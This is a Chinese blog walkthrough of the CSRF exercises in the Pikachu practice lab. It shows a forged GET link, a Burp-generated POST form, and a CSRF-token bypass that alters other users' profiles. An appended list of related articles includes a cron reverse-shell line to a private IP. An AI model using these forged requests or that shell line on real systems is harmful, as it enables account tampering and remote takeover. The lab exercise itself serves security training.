Fly_Mojito
Fly_Mojito

皮卡丘CSRF

1.CSRF（get）

皮卡丘CSRF_第1张图片

首先看提示，我们选择用户kobe，密码123456登录

皮卡丘CSRF_第2张图片

点击修改个人信息，假如用户要把住址改为shanxi

再点击submit，同时用bp抓包，我们可以看到是get请求，数据包含在URL之中

将其复制下来

皮卡丘CSRF_第3张图片

然后我们将url中的sex改为girl，伪造一下，诱导用户去点击

127.0.0.1/pk/vul/csrf/csrfget/csrf_get_edit.php?sex=gril&phonenum=15988767673&add=shanxi&email=kobe%40pikachu.com&submit=submit HTTP/1.1

皮卡丘CSRF_第4张图片

当链接被用户点击以后，回到题目，刷新一下，可以看到，用户本来只想改个住址，但我们将其性别改为了girl

皮卡丘CSRF_第5张图片

2.CSRF（post）

这次我们改用lili登录

皮卡丘CSRF_第6张图片

点击修改个人信息，将手机改为123456789

再点击submit后使用bp抓包，我们发现这次是post请求

皮卡丘CSRF_第7张图片

bp抓包

皮卡丘CSRF_第8张图片

右键打开此项

皮卡丘CSRF_第9张图片

在这里便可看到我们想要改的信息

皮卡丘CSRF_第10张图片将usa改为tianjing，之后点击Test in browser，再copy一下

皮卡丘CSRF_第11张图片

打开刚刚copy的链接（注意此时代理还没关）

皮卡丘CSRF_第12张图片

先别急着点Submit request按钮，将代理关闭，bp丢包，并将抓包功能关掉

皮卡丘CSRF_第13张图片

再去点击那个按钮

返回题目，刷新一下，可以看到，用户只想改个电话，而其住址被我们改了

皮卡丘CSRF_第14张图片

3.CSRF Token

我们依旧是先登录进去，此次我们使用vince的号

皮卡丘CSRF_第15张图片 点击修改信息，将性别改为girl

皮卡丘CSRF_第16张图片

点击submit后使用bp抓包，我们发现有token验证，返回包（Repeater）里也有token

皮卡丘CSRF_第17张图片

那我们可以发现，用一次token之后就会失效，返回包里含有下一次的token值，我们可以利用这一点来绕过

将数据包发送到重发器，将返回包里的token值复制过来，然后将地址改为tianjin，发送数据包后在返回包里进行渲染，我们可以看到，已成功修改

皮卡丘CSRF_第18张图片

回到题目，可以看到，用户本来只想改个性别，结果住址却被我们改了

皮卡丘CSRF_第19张图片

你可能感兴趣的:(csrf)

  • Java Web安全与Spring Config对象实战 福建低调
    本文还有配套的精品资源，点击获取简介：本课程深入探讨JavaWeb开发中的安全实践，包括认证与授权、输入验证、CSRF和XSS防护以及SQL注入防御等关键安全措施。同时，介绍SpringSecurity框架的应用，以及Config对象在Spring配置管理中的作用，包括依赖注入和外部化配置。课程还包括实战演练，通过设置安全环境和安全漏洞模拟，帮助开发者提升应用的安全性和故障排查能力。1.Web安全
  • Web安全之CSRF攻击详解与防护 J老熊 JavaWeb安全web安全csrf安全java面试运维
    在互联网应用中，安全性问题是开发者必须时刻关注的核心内容之一。跨站请求伪造（Cross-SiteRequestForgery,CSRF），是一种常见的Web安全漏洞。通过CSRF攻击，黑客可以冒用受害者的身份，发送恶意请求，执行诸如转账、订单提交等操作，导致严重的安全后果。本文将详细讲解CSRF攻击的原理及其防御方法，结合电商交易系统的场景给出错误和正确的示范代码，并分析常见的安全问题与解决方案，
  • 亚马逊/关键字搜索排名爬虫 香橼数据 #电商平台爬虫#电商平台-亚马逊爬虫pythonselenium
    目录1.需求&背景&挑战2.抓包分析2.1从首页获取session等信息2.2获取ubid_acbde信息2.3获取session-token信息2.4获取csrf-token信息2.5调用更改地址的接口3.验证码处理亚马逊作为全球最大的跨境电商平台，其数据的价值不言而喻。常规的使用场景有1)关键字搜索+广告抢位；2）ASIN详情；3）评论分析。作为完善的电商平台，其反爬的策略复杂多变，尤其是假数
  • pdf.js支持base64 pdf文件异步加载做文件请求加密 zh7314 javascript开发语言ecmascript前端
    2022年6月23日16:11:17默认是请求明文的pdf文件路径，但是因为是个人信息文件，有规律的文件格式，就有被拉去文件的问题，所以加密请求$.ajax({url:"{{URL::to('/getPdf')}}",dataType:"json",data:{code:"{{$code}}"},headers:{'X-CSRF-TOKEN':$('meta[name="csrf-token"]'
  • Flask知识点2 我的棉裤丢了 Flaskflaskpython后端
    1、flash()get_flashed_messages():用来消耗flash方法中存储的消息使用flash存储消息时，需要设置SECRET_KEYflash内部消息存储依赖了session2、CSRF(CrossSiteRequestForgery)跨站请求伪造，指攻击者盗用你的身份发送恶意请求CSRFProtect解决CSRF安装扩展包flask-wtffromflask_wtf.csrf
  • DWVA手把手教程(三)——CSRF漏洞 RabbitMask
    欢迎来到CSRF漏洞章节，在此，请允许作为#灵魂画师！！#的我图文并茂的为大家简单介绍一下CSRF漏洞：CSRF跨站点请求伪造(Cross—SiteRequestForgery)你可以这样来理解：攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作，比如以你的名义发送邮件、发消息，盗取你的账号，添加系统管理员，甚至于购买商品、虚拟货币转
  • Web攻击-XSS、CSRF、SQL注入 rrrobber 前端xsscsrf
    1.XSS攻击：跨站脚本攻击XSS（CrossSiteScripting），跨站脚本攻击，允许攻击者将恶意代码植入到提供给其它用户使用的页面中。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后，攻击者甚至可以假冒合法用户与网站进行交互。根据攻击来源被分为存储型、反射型、DOM型1.1.存储型存储型XSS的攻击步骤：攻击者将恶意
  • CSRF学习以及一些绕过referer的方法 不想当脚本小子的脚本小子 CSRF安全原理安全
    跨站请求伪造，原理：——两个关键点：跨站点的请求以及请求是伪造的攻击者盗用了用户的身份，以用户的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作1.用户C打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A；2.在用户信息通过验证后，网站A产生Cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A；3.用户未退出网站A之前，在
  • node节点状态为noready 低调沉稳 openshift
    node节点状态为noready;systemctlstatusatomic-openshift-node.service，查看报“csrforthisnodealreadyexists,reusing;csrforthisnodeisstillvalid;atomic-openshift-node.servicestartoperationtimedout.Terminating”是由于证书没有
  • [【DevOps】调用 Jenkins 的 API 接口时出现 HTTP 403 错误 阿寻寻 devopsjenkinshttp
    调用Jenkins的API接口时出现HTTP403错误1.**检查身份验证信息**a.**API令牌**b.**BasicAuth**2.**检查用户权限**a.**确保用户有足够的权限**3.**检查CSRF防护设置**a.**禁用CSRF**b.**提供CSRFToken**4.**网络配置和代理问题**a.**检查代理设置**5.**其他常见问题**总结当调用Jenkins的API接口时出现
  • html表单没的csrf保护,表单与csrf保护 翰遴院遴选 html表单没的csrf保护
    ##表单提交和CSRF在本课程中，我们将介绍将表单数据提交到服务器的基本工作流程。在此过程中，我们将介绍一个新概念：`CSRF`(跨站点请求伪造)。###新手建议前面几节我们介绍了如何从数据库中获取数据，使用`Tinker`添加测试数据。接下来我们在页面中实现添加数据并展示。>不论做任何复杂的功能，都是从简单开始，慢慢迭代，这里给新手一个建议，不论做什么都先按照`路由->控制器->视图`的顺序来开
  • Django 提供的 CSRF 防护机制 hzp666 pythonpythoncsrfdjango
    用django有多久，我跟csrf这个概念打交道就有久了。每次初始化一个项目时都能看到django.middleware.csrf.CsrfViewMiddleware这个中间件每次在模板里写form时都知道要加一个{%csrf_token%}tag每次发ajaxPOST请求，都需要加一个X_CSRFTOKEN的header但是一直我都是知其然而不知其所以然，没有把csrf的机制弄清楚。昨天稍微研
  • CSRF攻击原理以及防御方法 BinBin_Bang 计算机网络csrf安全
    CSRF攻击原理以及防御方法CSRF概念：CSRF跨站点请求伪造(Cross—SiteRequestForgery)，跟XSS攻击一样，存在巨大的危害性，你可以这样来理解：攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作，比如以你的名义发送邮件、发消息，盗取你的账号，添加系统管理员，甚至于购买商品、虚拟货币转账等。如下：其中WebA
  • CSRF 概念及防护机制 Bryant5051 csrfweb安全网络安全
    概述CSRF（Cross-SiteRequestForgery），即跨站请求伪造，是一种网络攻击方式。在这种攻击中，恶意用户诱导受害者在不知情的情况下执行某些操作，通常是利用受害者已经登录的身份，向受害者信任的网站发出恶意请求。原理分析从概述中划重点：利用受害者已经登陆的身份（如登陆态、浏览器中的Cookie等），向受害者已登陆的网站发出恶意请求。举例：假设用户A已经登陆到某银行网站bank.co
  • ssrf做题随记--任务计划的写入、csrf简单知识 板栗妖怪 小记随笔学习
    目录ssrfcsrfssrf这里忘记写文档了，然后再次搭建环境一直成功不了所以这里以文字的方式记录一些要注意的点。redis在低版本下没有降权然后执行的时候是以root权限执行，到了高版本以后就不行了redis被降权了,且如果是高版本稳定版的话是没有办法写入也就是更加安全*****/bin/bash-i>&/dev/tcp/192.168.0.106/77770>&1centos写入任务计划是很正
  • 关于6种Web安全常见的攻防姿势 AI大模型-搬运工 web安全安全网络安全网络网络攻击模型
    关于Web安全的问题，是一个老生常谈的问题，作为离用户最近的一层，我们大前端应该把手伸的更远一点。我们最常见的Web安全攻击有以下几种：XSS跨站脚本攻击CSRF跨站请求伪造URL跳转漏洞ClickJacking点击劫持/UI-覆盖攻击SQLInjectionSQL注入OSCommandInjectionOS命令注入一、XSSXSS（CrossSiteScript），中文是跨站脚本攻击；其原本缩写
  • 前端安全XSS，CSRF 前端-JC 前端前端安全
    XSS（Cross-sitescripting）跨站脚本攻击：用户在页面渲染数据时注入可运行的恶意脚本目的是盗用cookie，获取敏感信息，得到更高权限防御方法是对输入和输出进行严格过滤CSRF（Cross-siterequestforgery）跨站请求伪造：冒充受信认用户、向服务器发送非本意/非预期的请求认防御措施有cookit设置SameSite属性、验证请求请求头中Referer来源、表单请
  • CSRF 2022-05-21 9_SooHyun
    跨站请求伪造（Cross-siterequestforgery），也被称为one-clickattack或者sessionriding，通常缩写为CSRF或者XSRF，是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。一次成功的CSRF攻击需要满足2个条件：1.冒用了前端用户的登陆态身份2.后台服务无条件信任请求浏览器默认携带本次http请求域名的cookie，这给了攻击者极
  • DVWA靶场通关（CSRF） 马船长 csrf前端
    CSRF是跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。CSRF属于业务逻辑漏洞,服务器信任经过身份认证的用户。漏洞利用前提：:用户必须登录、黑客懂得一些发包的请求,服务器端是不会有二次认证的，被害者是不知情的
  • Django高级之-forms组件 Renweif Djangodjango
    Django高级之-forms组件1校验字段功能针对一个实例：注册用户讲解。模型：models.pyclassUserInfo(models.Model):name=models.CharField(max_length=32)pwd=models.CharField(max_length=32)email=models.EmailField()模版文件Title{%csrf_token%}用户名
  • 字节面试分享，请详细介绍为何Http Post发送两次请求 zy_zeros 面试http职场和发展
    在浏览器中，内容是很开放的，任何资源都可以接入其中，如JavaScript文件、图片、音频、视频等资源，甚至可以下载其他站点的可执行文件。但也不是说浏览器就是完全自由的，如果不加以控制，就会出现一些不可控的局面，例如会出现一些安全问题，如：跨站脚本攻击（XSS）SQL注入攻击OS命令注入攻击HTTP首部注入攻击跨站点请求伪造（CSRF）等等…如果这些都没有限制的话，对于我们用户而言，是相对危险的，
  • CSRF漏洞 Ryongao csrf前端网络安全
    csrf漏洞介绍一、定义Cross-SiteRequestForgery跨站请求伪造理解:1.跨站点的请求2.请求是伪造的。(假装可信)它是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法二、定义csrf漏洞的成因就是网站的cookie在浏览器中不会过期，只要不关闭浏览器或者退出登录那以后只要是访问这个网站，都会默认你已经登录的状态。而在这个期间，攻击者发送了构造好的csrf脚
  • w28pikachu-csrf实例 杭城我最帅 csrfandroid前端
    pikachu-csrf实例get级别这里需要同时修改性别、手机、住址、邮箱。写一个简单的html文件，里面伪装修改密码的文字，代码如下：pikachu-csrf-get点击"pikachu-csrf-get"文字后，跳转到pikachu的csrf(get)界面，展示修改后的界面。post级别这里post请求，需要通过表单提交。写一个简单的html文件，里面伪装修改密码的文字，代码如下：pikac
  • w28DVWA-csrf实例 杭城我最帅 csrf前端dvwa
    DVWA-csrf实例low级别修改密码：修改的密码通过get请求，暴露在url上。写一个简单的html文件，里面伪装修改密码的文字，代码如下：dvwa-csrf-low点击"dvwa-csrf-low"文字后，跳转到dvwa的修改密码界面，提示Passwordchanged（密码已修改）。middle级别修改密码：修改的密码通过get请求，暴露在url上。写一个简单的html文件，里面伪装修改密
  • 安全基础~通用漏洞5 `流年づ 安全学习安全网络
    文章目录知识补充CSRFSSRFxss与csrf结合创建管理员账号知识补充NAT：网络地址转换，可以将IP数据报文头中的IP地址转换为另一个IP地址，并通过转换端口号达到地址重用的目的。即通过将一个外部IP地址和端口映射更大的内部IP地址集来转换IP地址。端口映射：在数据传输结束后，会将端口释放掉，若进行了端口映射，那么公网数据包只要是该映射端口，就会固定发送到对应的私有ip功能：NAT不仅能解决
  • 【ASP.NET Core 基础知识】--安全性--防范常见攻击 喵叔哟 ASP.NETCore基础知识asp.net网络后端
    在现实网络中即存在着安全的流量，又存在着不安全的流量在，这些不安全的流量常常会对我们的网站服务造成威胁，严重的甚至会泄露用户的隐私信息。这篇文章我们通过对常见的网络攻击跨站脚本攻击、跨站请求伪造(CSRF)、SQL注入、敏感数据泄露、身份验证与授权防范方面讲解如何防范网络攻击。一、跨站脚本攻击(XSS)防范1.1XSS攻击原理跨站脚本攻击（XSS）利用了web应用程序未对用户输入进行充分验证和过滤
  • CSRF的攻击与防御 网络安全乔妮娜 csrf前端web安全网络安全学习服务器安全
    一、CSRF漏洞原理**CSRF（Cross-SiteRequestForgery，跨站点伪造请求）是一种网络攻击方式，该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点，从而在未授权的情况下执行在权限保护之下的操作，具有很大的危害性。具体来讲，可以这样理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一
  • 基于python，用django框架，搭建最简单的网站，适合初学者入门 依然风yrlf pythondjango开发语言
    前端页面信息录入页面客户基本信息录入{%csrf_token%}客户的名字:  客户的手机号:客户的身份证:客户的地址:  后台程序基于djang框架wiews.py内容#-*-coding:utf-8-*-from__future__importunicode_literalsfromdjango.httpimportHttpResponsefromdjango.
  • 共享基于python开发的chatGPT，调用4.0接口 依然风yrlf python开发语言
    前端html部分：{%extends'layout.html'%}{%blockcontent%}人工智能AIChat您：{{question}}AI：{{answer}}{%csrf_token%}发送{%endblock%}后端python部分:fromdjango.shortcutsimportrender,HttpResponse,redirectfromapp01importmodels
  • 网安第三次实验 P71720 Web安全实验
    网安第三次实验(CSRF,XSS和点击劫持攻防)相关资源已上传，正在审核，谢谢~(一)CSRF攻击和防御攻击废话不多说，直接上代码：`CSRFAttackHi,I'mcsrf_aform=document.getElementById("transferform");form.submit();`这段代码的意思是，当别人点击了我的链接跳转到我的界面时，我的页面中隐藏了一个表单，并且通过form.s
  • Dom 周华华 JavaScripthtml
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml&q
  • 【Spark九十六】RDD API之combineByKey bit1129 spark
    1. combineByKey函数的运行机制   RDD提供了很多针对元素类型为(K,V)的API，这些API封装在PairRDDFunctions类中，通过Scala隐式转换使用。这些API实现上是借助于combineByKey实现的。combineByKey函数本身也是RDD开放给Spark开发人员使用的API之一   首先看一下combineByKey的方法说明：
  • msyql设置密码报错：ERROR 1372 (HY000): 解决方法详解 daizj mysql设置密码
    MySql给用户设置权限同时指定访问密码时，会提示如下错误： ERROR 1372 (HY000): Password hash should be a 41-digit hexadecimal number；   问题原因：你输入的密码是明文。不允许这么输入。   解决办法：用select password('你想输入的密码');查询出你的密码对应的字符串， 然后
  • 路漫漫其修远兮 吾将上下而求索 周凡杨 学习 思索
    王国维在他的《人间词话》中曾经概括了为学的三种境界古今之成大事业、大学问者，罔不经过三种之境界。“昨夜西风凋碧树。独上高楼，望尽天涯路。”此第一境界也。“衣带渐宽终不悔，为伊消得人憔悴。”此第二境界也。“众里寻他千百度，蓦然回首，那人却在灯火阑珊处。”此第三境界也。学习技术，这也是你必须经历的三种境界。第一层境界是说，学习的路是漫漫的，你必须做好充分的思想准备，如果半途而废还不如不要开始。这里，注
  • Hadoop(二)对话单的操作 朱辉辉33 hadoop
    Debug： 1、 A = LOAD '/user/hue/task.txt' USING PigStorage(' ') AS (col1,col2,col3); DUMP A; //输出结果前几行示例： (>ggsnPDPRecord(21),,) (-->recordType(0),,) (-->networkInitiation(1),,)
  • web报表工具FineReport常用函数的用法总结（日期和时间函数） 老A不折腾 finereport报表工具web开发
    web报表工具FineReport常用函数的用法总结（日期和时间函数）   说明：凡函数中以日期作为参数因子的，其中日期的形式都必须是yy/mm/dd。而且必须用英文环境下双引号(" ")引用。   DATE DATE(year,month,day):返回一个表示某一特定日期的系列数。 Year:代表年，可为一到四位数。 Month:代表月份。
  • c++ 宏定义中的##操作符 墙头上一根草 C++
    #与##在宏定义中的--宏展开 #include <stdio.h> #define f(a,b) a##b #define g(a)   #a #define h(a) g(a) int main() {       &nbs
  • 分析Spring源代码之，DI的实现 aijuans springDI现源代码
    (转) 分析Spring源代码之，DI的实现 2012/1/3 by tony                 接着上次的讲，以下这个sample [java]  view plain copy print
  • for循环的进化 alxw4616 JavaScript
    // for循环的进化 // 菜鸟 for (var i = 0; i < Things.length ; i++) { // Things[i] } // 老鸟 for (var i = 0, len = Things.length; i < len; i++) { // Things[i] } // 大师 for (var i = Things.le
  • 网络编程Socket和ServerSocket简单的使用 百合不是茶 网络编程基础IP地址端口
      网络编程;TCP/IP协议   网络:实现计算机之间的信息共享,数据资源的交换   协议:数据交换需要遵守的一种协议,按照约定的数据格式等写出去   端口:用于计算机之间的通信      每运行一个程序，系统会分配一个编号给该程序，作为和外界交换数据的唯一标识 0~65535   查看被使用的
  • JDK1.5 生产消费者 bijian1013 javathread生产消费者java多线程
    ArrayBlockingQueue：        一个由数组支持的有界阻塞队列。此队列按 FIFO（先进先出）原则对元素进行排序。队列的头部 是在队列中存在时间最长的元素。队列的尾部 是在队列中存在时间最短的元素。新元素插入到队列的尾部，队列检索操作则是从队列头部开始获得元素。 ArrayBlockingQueue的常用方法：
  • JAVA版身份证获取性别、出生日期及年龄 bijian1013 java性别出生日期年龄
            工作中需要根据身份证获取性别、出生日期及年龄，且要还要支持15位长度的身份证号码，网上搜索了一下，经过测试好像多少存在点问题，干脆自已写一个。 CertificateNo.java package com.bijian.study; import java.util.Calendar; import
  • 【Java范型六】范型与枚举 bit1129 java
    首先，枚举类型的定义不能带有类型参数，所以，不能把枚举类型定义为范型枚举类，例如下面的枚举类定义是有编译错的   public enum EnumGenerics<T> { //编译错，提示枚举不能带有范型参数 OK, ERROR; public <T> T get(T type) { return null;
  • 【Nginx五】Nginx常用日志格式含义 bit1129 nginx
    1. log_format 1.1 log_format指令用于指定日志的格式，格式：   log_format name(格式名称) type(格式样式)   1.2 如下是一个常用的Nginx日志格式：   log_format main '[$time_local]|$request_time|$status|$body_bytes
  • Lua 语言 15 分钟快速入门 ronin47 lua 基础
    - - 单行注释 - - [[      [多行注释] - - ]]   - - - - - - - - - - - 1. 变量 & 控制流 - - - - - - - - - - num = 23 - - 数字都是双精度 str = 'aspythonstring'
  • java-35.求一个矩阵中最大的二维矩阵 ( 元素和最大 ) bylijinnan java
    the idea is from: http://blog.csdn.net/zhanxinhang/article/details/6731134 public class MaxSubMatrix { /**see http://blog.csdn.net/zhanxinhang/article/details/6731134 * Q35 求一个矩阵中最大的二维
  • mongoDB文档型数据库特点 开窍的石头 mongoDB文档型数据库特点
    MongoDD: 文档型数据库存储的是Bson文档-->json的二进制 特点：内部是执行引擎是js解释器，把文档转成Bson结构，在查询时转换成js对象。 mongoDB传统型数据库对比    传统类型数据库：结构化数据，定好了表结构后每一个内容符合表结构的。也就是说每一行每一列的数据都是一样的    文档型数据库：不用定好数据结构，
  • [毕业季节]欢迎广大毕业生加入JAVA程序员的行列 comsci java
        一年一度的毕业季来临了。。。。。。。。      正在投简历的学弟学妹们。。。如果觉得学校推荐的单位和公司不适合自己的兴趣和专业，可以考虑来我们软件行业，做一名职业程序员。。。      软件行业的开发工具中，对初学者最友好的就是JAVA语言了，网络上不仅仅有大量的
  • PHP操作Excel – PHPExcel 基本用法详解 cuiyadll PHPExcel
    导出excel属性设置//Include classrequire_once('Classes/PHPExcel.php');require_once('Classes/PHPExcel/Writer/Excel2007.php');$objPHPExcel = new PHPExcel();//Set properties 设置文件属性$objPHPExcel->getProperties
  • IBM Webshpere MQ Client User Issue (MCAUSER) darrenzhu IBMjmsuserMQMCAUSER
    IBM MQ JMS Client去连接远端MQ Server的时候，需要提供User和Password吗？ 答案是根据情况而定，取决于所定义的Channel里面的属性Message channel agent user identifier (MCAUSER)的设置。 http://stackoverflow.com/questions/20209429/how-mca-user-i
  • 网线的接法 dcj3sjt126com
    一、PC连HUB (直连线)A端：（标准568B）：白橙，橙，白绿，蓝，白蓝，绿，白棕，棕。 B端：（标准568B）：白橙，橙，白绿，蓝，白蓝，绿，白棕，棕。 二、PC连PC （交叉线）A端：(568A)： 白绿，绿，白橙，蓝，白蓝，橙，白棕，棕； B端：（标准568B）：白橙，橙，白绿，蓝，白蓝，绿，白棕，棕。 三、HUB连HUB&nb
  • Vimium插件让键盘党像操作Vim一样操作Chrome dcj3sjt126com chromevim
    什么是键盘党？ 键盘党是指尽可能将所有电脑操作用键盘来完成，而不去动鼠标的人。鼠标应该说是新手们的最爱，很直观，指哪点哪，很听话！不过常常使用电脑的人，如果一直使用鼠标的话，手会发酸，因为操作鼠标的时候，手臂不是在一个自然的状态，臂肌会处于绷紧状态。而使用键盘则双手是放松状态，只有手指在动。而且尽量少的从鼠标移动到键盘来回操作，也省不少事。 在chrome里安装 vimium 插件
  • MongoDB查询（2）——数组查询[六] eksliang mongodbMongoDB查询数组
    MongoDB查询数组 转载请出自出处：http://eksliang.iteye.com/blog/2177292 一、概述  MongoDB查询数组与查询标量值是一样的，例如，有一个水果列表，如下所示： > db.food.find() { "_id" : "001", "fruits" : [ "苹
  • cordova读写文件（1） gundumw100 JavaScriptCordova
    使用cordova可以很方便的在手机sdcard中读写文件。 首先需要安装cordova插件：file 命令为： cordova plugin add org.apache.cordova.file 然后就可以读写文件了，这里我先是写入一个文件，具体的JS代码为： var datas=null;//datas need write var directory=&
  • HTML5 FormData 进行文件jquery ajax 上传 到又拍云 ileson jqueryAjaxhtml5FormData
    html5 新东西：FormData  可以提交二进制数据。 页面test.html <!DOCTYPE> <html> <head> <title> formdata file jquery ajax upload</title> </head> <body> <
  • swift appearanceWhenContainedIn:(version1.2 xcode6.4) 啸笑天 version
      swift1.2中没有oc中对应的方法： + (instancetype)appearanceWhenContainedIn:(Class <UIAppearanceContainer>)ContainerClass, ... NS_REQUIRES_NIL_TERMINATION;  解决方法： 在swift项目中新建oc类如下： #import &
  • java实现SMTP邮件服务器 macroli java编程
    电子邮件传递可以由多种协议来实现。目前，在Internet 网上最流行的三种电子邮件协议是SMTP、POP3 和 IMAP，下面分别简单介绍。 　　◆ SMTP 协议 　　简单邮件传输协议(Simple Mail Transfer Protocol,SMTP)是一个运行在TCP/IP之上的协议，用它发送和接收电子邮件。SMTP 服务器在默认端口25上监听。SMTP客户使用一组简单的、基于文本的
  • mongodb group by having where 查询sql qiaolevip 每天进步一点点学习永无止境mongo纵观千象
    SELECT cust_id, SUM(price) as total FROM orders WHERE status = 'A' GROUP BY cust_id HAVING total > 250 db.orders.aggregate( [ { $match: { status: 'A' } }, { $group: {
  • Struts2 Pojo（六） Luob. POJOstrust2
    注意：附件中有完整案例 1.采用POJO对象的方法进行赋值和传值 2.web配置 <?xml version="1.0" encoding="UTF-8"?> <web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee&q
  • struts2步骤 wuai struts
    1、添加jar包 2、在web.xml中配置过滤器 <filter>        <filter-name>struts2</filter-name>        <filter-class>org.apache.st
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他